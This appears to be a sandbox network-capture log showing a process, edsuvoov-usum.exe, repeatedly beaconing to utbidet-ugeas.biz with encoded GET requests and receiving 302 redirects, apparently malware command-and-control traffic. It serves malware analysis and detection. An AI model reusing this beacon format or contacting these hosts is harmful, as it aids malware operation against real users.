Sep 7, 2024 15:35:42.332756042 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:42 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0203E9253204E9253231E94D3203E9ABE197D18D6802E9E59A01EA131C31C71C0033D90B32 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.3	61452	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:42.520529985 CEST	169	OUT	GET /d/N?022257A5E92557A5E910578DE922572B3AB66F0DB323576541205493C710799CDB12678BE9 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:35:43.004947901 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:42 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?022257A5E92557A5E910578DE922572B3AB66F0DB323576541205493C710799CDB12678BE9 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.3	61453	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:43.029045105 CEST	201	OUT	GET /d/N?022257A5E92557A5E910578DE922572B3AB66F0DB323576541205493C710799CDB12678BE9 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:35:43.516443014 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:43 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?022257A5E92557A5E910578DE922572B3AB66F0DB323576541205493C710799CDB12678BE9 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.3	61455	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:44.304243088 CEST	169	OUT	GET /d/N?02352D949D322D949D072DBC9D352D1A4EA1153CC7342D5435372EA2B30703ADAF051DBA9D HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:35:44.799300909 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:44 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02352D949D322D949D072DBC9D352D1A4EA1153CC7342D5435372EA2B30703ADAF051DBA9D Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.3	61456	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:44.825073957 CEST	201	OUT	GET /d/N?02352D949D322D949D072DBC9D352D1A4EA1153CC7342D5435372EA2B30703ADAF051DBA9D HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:35:45.321513891 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:45 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02352D949D322D949D072DBC9D352D1A4EA1153CC7342D5435372EA2B30703ADAF051DBA9D Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.3	61458	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:45.470038891 CEST	169	OUT	GET /d/N?0298EF80DD9FEF80DDAAEFA8DD98EF0E0E0CD7288799EF40759AECB6F3AAC1B9EFA8DFAEDD HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:35:45.977639914 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:45 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0298EF80DD9FEF80DDAAEFA8DD98EF0E0E0CD7288799EF40759AECB6F3AAC1B9EFA8DFAEDD Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.3	61459	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:45.984162092 CEST	201	OUT	GET /d/N?0298EF80DD9FEF80DDAAEFA8DD98EF0E0E0CD7288799EF40759AECB6F3AAC1B9EFA8DFAEDD HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:35:46.486342907 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:46 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0298EF80DD9FEF80DDAAEFA8DD98EF0E0E0CD7288799EF40759AECB6F3AAC1B9EFA8DFAEDD Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.3	61461	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:47.270142078 CEST	169	OUT	GET /d/N?02B85052AFBF5052AF8A507AAFB850DC7C2C68FAF5B9509207BA5364818A7E6B9D88607CAF HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:35:47.767663002 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:47 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02B85052AFBF5052AF8A507AAFB850DC7C2C68FAF5B9509207BA5364818A7E6B9D88607CAF Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.3	61462	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:47.775046110 CEST	201	OUT	GET /d/N?02B85052AFBF5052AF8A507AAFB850DC7C2C68FAF5B9509207BA5364818A7E6B9D88607CAF HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:35:48.261411905 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:48 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02B85052AFBF5052AF8A507AAFB850DC7C2C68FAF5B9509207BA5364818A7E6B9D88607CAF Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.3	61464	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:48.885226965 CEST	169	OUT	GET /d/N?028EBB235C89BB235CBCBB0B5C8EBBAD8F1A838B068FBBE3F48CB81572BC951A6EBE8B0D5C HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:35:49.385032892 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:49 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?028EBB235C89BB235CBCBB0B5C8EBBAD8F1A838B068FBBE3F48CB81572BC951A6EBE8B0D5C Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.3	61465	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:49.391170979 CEST	201	OUT	GET /d/N?028EBB235C89BB235CBCBB0B5C8EBBAD8F1A838B068FBBE3F48CB81572BC951A6EBE8B0D5C HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:35:49.878395081 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:49 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?028EBB235C89BB235CBCBB0B5C8EBBAD8F1A838B068FBBE3F48CB81572BC951A6EBE8B0D5C Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.3	61467	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:50.773087978 CEST	169	OUT	GET /d/N?025ACD535A5DCD535A68CD7B5A5ACDDD89CEF5FB005BCD93F258CE657468E36A686AFD7D5A HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:35:51.259891987 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:51 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?025ACD535A5DCD535A68CD7B5A5ACDDD89CEF5FB005BCD93F258CE657468E36A686AFD7D5A Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.3	61468	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:51.268795967 CEST	201	OUT	GET /d/N?025ACD535A5DCD535A68CD7B5A5ACDDD89CEF5FB005BCD93F258CE657468E36A686AFD7D5A HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:35:51.754921913 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:51 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?025ACD535A5DCD535A68CD7B5A5ACDDD89CEF5FB005BCD93F258CE657468E36A686AFD7D5A Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.3	61470	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:51.913532972 CEST	169	OUT	GET /d/N?024859D5D44F59D5D47A59FDD448595B07DC617D8E4959157C4A5AE3FA7A77ECE67869FBD4 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:35:52.393479109 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:52 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?024859D5D44F59D5D47A59FDD448595B07DC617D8E4959157C4A5AE3FA7A77ECE67869FBD4 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.3	61471	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:52.432877064 CEST	201	OUT	GET /d/N?024859D5D44F59D5D47A59FDD448595B07DC617D8E4959157C4A5AE3FA7A77ECE67869FBD4 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:35:52.920299053 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:52 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?024859D5D44F59D5D47A59FDD448595B07DC617D8E4959157C4A5AE3FA7A77ECE67869FBD4 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.3	61473	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:53.522895098 CEST	169	OUT	GET /d/N?02C4799EC2C3799EC2F679B6C2C479101150413698C5795E6AC67AA8ECF657A7F0F449B0C2 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:35:54.019897938 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:53 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02C4799EC2C3799EC2F679B6C2C479101150413698C5795E6AC67AA8ECF657A7F0F449B0C2 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.3	61474	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:54.025782108 CEST	201	OUT	GET /d/N?02C4799EC2C3799EC2F679B6C2C479101150413698C5795E6AC67AA8ECF657A7F0F449B0C2 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
